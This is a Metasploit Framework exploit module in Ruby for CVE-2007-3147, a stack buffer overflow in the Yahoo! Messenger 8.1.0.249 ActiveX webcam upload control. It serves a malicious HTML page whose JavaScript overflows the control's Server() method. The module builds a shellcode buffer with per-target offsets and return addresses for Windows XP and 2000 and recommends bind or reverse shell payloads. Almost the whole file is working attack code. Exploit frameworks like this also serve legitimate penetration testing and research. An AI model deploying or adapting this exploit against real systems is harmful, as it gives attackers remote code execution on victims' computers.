root / modules / exploits / windows / browser / yahoomessenger_server.rb @ master
History | View | Annotate | Download (2.6 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = GoodRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::HttpServer::HTML |
| 18 |
|
| 19 |
def initialize(info = {}) |
| 20 |
super(update_info(info,
|
| 21 |
'Name' => 'Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow', |
| 22 |
'Description' => %q{ |
| 23 |
This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX |
| 24 |
Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249. |
| 25 |
By sending a overly long string to the "Server()" method, and then calling |
| 26 |
the "Send()" method, an attacker may be able to execute arbitrary code. |
| 27 |
Using the payloads "windows/shell_bind_tcp" and "windows/shell_reverse_tcp" |
| 28 |
yield for the best results. |
| 29 |
},
|
| 30 |
'License' => MSF_LICENSE, |
| 31 |
'Author' => [ 'MC' ], |
| 32 |
'Version' => '$Revision$', |
| 33 |
'References' =>
|
| 34 |
[ |
| 35 |
[ 'CVE', '2007-3147' ], |
| 36 |
[ 'OSVDB', '37082' ], |
| 37 |
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-June/063817.html' ], |
| 38 |
], |
| 39 |
'DefaultOptions' =>
|
| 40 |
{
|
| 41 |
'EXITFUNC' => 'process', |
| 42 |
}, |
| 43 |
'Payload' =>
|
| 44 |
{
|
| 45 |
'Space' => 800, |
| 46 |
'BadChars' => "\x00\x09\x0a\x0d'\\", |
| 47 |
'StackAdjustment' => -3500, |
| 48 |
}, |
| 49 |
'Platform' => 'win', |
| 50 |
'Targets' =>
|
| 51 |
[ |
| 52 |
[ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 1032, 'Ret' => 0x71aa32ad } ], |
| 53 |
[ 'Windows 2000 Pro English All', { 'Offset' => 1032, 'Ret' => 0x75022ac4 } ] |
| 54 |
], |
| 55 |
'DisclosureDate' => 'Jun 5 2007', |
| 56 |
'DefaultTarget' => 0)) |
| 57 |
end
|
| 58 |
|
| 59 |
def on_request_uri(cli, request) |
| 60 |
# Re-generate the payload
|
| 61 |
return if ((p = regenerate_payload(cli)) == nil) |
| 62 |
|
| 63 |
# Randomize some things
|
| 64 |
vname = rand_text_alpha(rand(100) + 1) |
| 65 |
strname = rand_text_alpha(rand(100) + 1) |
| 66 |
|
| 67 |
# Set the exploit buffer
|
| 68 |
sploit = rand_text_alpha(target['Offset'] - p.encoded.length) + p.encoded
|
| 69 |
sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V') |
| 70 |
sploit << [0xe8, -775].pack('CV') + rand_text_alpha(500) |
| 71 |
|
| 72 |
# Build out the message
|
| 73 |
content = %Q|<html>
|
| 74 |
<object classid='clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277' id='#{vname}'></object> |
| 75 |
<script language='javascript'> |
| 76 |
#{strname} = new String('#{sploit}') |
| 77 |
#{vname}.server = #{strname} |
| 78 |
#{vname}.send() |
| 79 |
</script> |
| 80 |
</html> |
| 81 |
|
|
| 82 |
|
| 83 |
print_status("Sending #{self.name}")
|
| 84 |
|
| 85 |
# Transmit the response to the client
|
| 86 |
send_response_html(cli, content) |
| 87 |
|
| 88 |
# Handle the payload
|
| 89 |
handler(cli) |
| 90 |
end
|
| 91 |
|
| 92 |
end
|